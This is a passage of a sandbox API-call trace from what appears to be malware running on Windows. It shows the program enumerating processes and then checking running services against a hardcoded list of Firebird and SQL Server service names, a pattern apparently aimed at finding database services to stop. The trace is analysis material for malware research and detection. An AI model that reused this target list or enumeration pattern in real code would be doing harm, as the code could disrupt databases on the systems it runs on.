szExeFile="svchost.exe")) returned 1 [0191.329] lstrlenW (lpString="svchost.exe") returned 11 [0191.329] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.330] lstrlenW (lpString="svchost.exe") returned 11 [0191.330] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.339] lstrlenW (lpString="svchost.exe") returned 11 [0191.339] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.339] lstrlenW (lpString="svchost.exe") returned 11 [0191.340] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.340] lstrlenW (lpString="svchost.exe") returned 11 [0191.340] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.341] lstrlenW (lpString="svchost.exe") returned 11 [0191.341] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.342] lstrlenW (lpString="svchost.exe") returned 11 [0191.342] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0191.343] lstrlenW (lpString="spoolsv.exe") returned 11 [0191.343] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.343] lstrlenW (lpString="svchost.exe") returned 11 [0191.343] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.344] lstrlenW (lpString="svchost.exe") returned 11 [0191.344] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0191.345] lstrlenW (lpString="audiodg.exe") returned 11 [0191.345] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0191.371] lstrlenW (lpString="sihost.exe") returned 10 [0191.371] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.371] lstrlenW (lpString="svchost.exe") returned 11 [0191.372] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0191.372] lstrlenW (lpString="taskhostw.exe") returned 13 [0191.372] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0191.373] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0191.373] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0191.373] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0191.373] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0191.374] lstrlenW (lpString="explorer.exe") returned 12 [0191.374] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0191.375] lstrlenW (lpString="Memory Compression") returned 18 [0191.375] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0191.375] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0191.375] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0191.376] lstrlenW (lpString="SearchUI.exe") returned 12 [0191.376] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0191.377] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0191.377] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0191.377] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0191.377] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0191.378] lstrlenW (lpString="entering.exe") returned 12 [0191.378] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0191.379] lstrlenW (lpString="literally.exe") returned 13 [0191.379] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0191.379] lstrlenW (lpString="prep.exe") returned 8 [0191.379] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0191.380] lstrlenW (lpString="homeless.exe") returned 12 [0191.380] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0191.380] lstrlenW (lpString="tips.exe") returned 8 [0191.380] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0191.381] lstrlenW (lpString="rhode_cow.exe") returned 13 [0191.381] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0191.382] lstrlenW (lpString="discount.exe") returned 12 [0191.382] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0191.382] lstrlenW (lpString="littleclosest.exe") returned 17 [0191.382] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0191.383] lstrlenW (lpString="compact.exe") returned 11 [0191.383] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0191.384] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0191.384] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0191.384] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0191.384] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0191.385] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0191.385] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0191.386] lstrlenW (lpString="vincentkills.exe") returned 16 [0191.386] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0191.386] lstrlenW (lpString="armstrong.exe") returned 13 [0191.386] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0191.387] lstrlenW (lpString="superb_guilty.exe") returned 17 [0191.387] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0191.388] lstrlenW (lpString="conditional employer.exe") returned 24 [0191.388] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0191.388] lstrlenW (lpString="middle shown.exe") returned 16 [0191.388] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0191.389] lstrlenW (lpString="forced_online.exe") returned 17 [0191.389] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0191.390] lstrlenW (lpString="knitting.exe") returned 12 [0191.390] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0191.390] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0191.390] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0191.391] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0191.391] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0191.392] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0191.392] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.393] lstrlenW (lpString="svchost.exe") returned 11 [0191.393] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0191.393] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0191.393] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0191.394] lstrlenW (lpString="conhost.exe") returned 11 [0191.394] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0191.395] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0191.395] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0191.396] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0191.396] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0191.397] lstrlenW (lpString="WMIADAP.exe") returned 11 [0191.397] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0191.397] lstrlenW (lpString="11.exe") returned 6 [0191.397] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0191.398] lstrlenW (lpString="cmd.exe") returned 7 [0191.398] Process32NextW (in: hSnapshot=0x290, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0191.399] CloseHandle (hObject=0x290) returned 1 [0191.399] Sleep (dwMilliseconds=0x1f4) [0192.602] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7c5810 [0192.602] EnumServicesStatusExW (in: hSCManager=0x7c5810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0192.602] GetLastError () returned 0xea [0192.602] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1ebc) returned 0x7e3ef8 [0192.602] EnumServicesStatusExW (in: hSCManager=0x7c5810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e3ef8, cbBufSize=0x1ebc, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e3ef8, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0192.603] CloseServiceHandle (hSCObject=0x7c5810) returned 1 [0192.603] lstrlenW (lpString="Appinfo") returned 7 [0192.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0192.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0192.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0192.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0192.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0192.603] lstrlenW (lpString="AppXSvc") returned 7 [0192.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0192.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0192.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0192.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0192.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0192.604] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0192.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0192.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0192.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0192.604] lstrlenW (lpString="Audiosrv") returned 8 [0192.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0192.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0192.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0192.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0192.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0192.604] lstrlenW (lpString="BFE") returned 3 [0192.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0192.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0192.604] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0192.604] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0192.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0192.604] lstrlenW (lpString="BITS") returned 4 [0192.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0192.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0192.604] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0192.604] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0192.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0192.604] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0192.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0192.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0192.605] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0192.605] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0192.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0192.605] lstrlenW (lpString="CDPSvc") returned 6 [0192.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0192.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0192.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0192.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0192.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0192.605] lstrlenW (lpString="ClickToRunSvc") returned 13 [0192.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0192.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0192.605] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0192.605] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0192.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0192.605] lstrlenW (lpString="ClipSVC") returned 7 [0192.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0192.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0192.605] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0192.605] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0192.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0192.605] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0192.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0192.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0192.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0192.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0192.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0192.605] lstrlenW (lpString="CryptSvc") returned 8 [0192.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0192.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0192.606] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0192.606] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0192.606] 